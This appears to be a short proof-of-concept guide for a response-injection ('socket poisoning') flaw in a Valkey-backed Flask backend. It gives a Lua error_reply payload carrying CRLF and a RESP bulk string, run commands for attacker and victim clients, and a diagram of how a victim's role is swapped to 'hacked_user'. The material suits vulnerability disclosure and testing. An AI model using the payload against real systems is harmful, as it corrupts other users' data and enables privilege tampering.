python backend.py <Valkey host> <Valkey port> [password]

# Examples
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 mypassword

error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))

python attacker_client.py

python victim_client.py set    # Set role to "normal_user"
python victim_client.py get    # Get current role

pip install flask requests

python backend.py 127.0.0.1 6379

python victim_client.py set
# Output: 'role':'normal_user' has been set.

python victim_client.py get
# Output: 'role':'normal_user'

python attacker_client.py
# Output: Socket poisoning successful

python victim_client.py get
# Output: 'role':'hacked_user'

1. Victim sets role
   victim_client.py set --> backend --> Valkey
                                        SET user:user:role "normal_user"

2. Attacker injects payload
   attacker_client.py --> backend --> Valkey
                                      EVAL 'error(...)' 0

   Backend reads: "-ERR INJECTED\r\n"
   Buffer remains: "$11\r\nhacked_user"

3. Victim gets role
   victim_client.py get --> backend --> Valkey
                                        GET user:user:role

   Backend reads from buffer: "$11\r\nhacked_user"
   Victim receives: "hacked_user"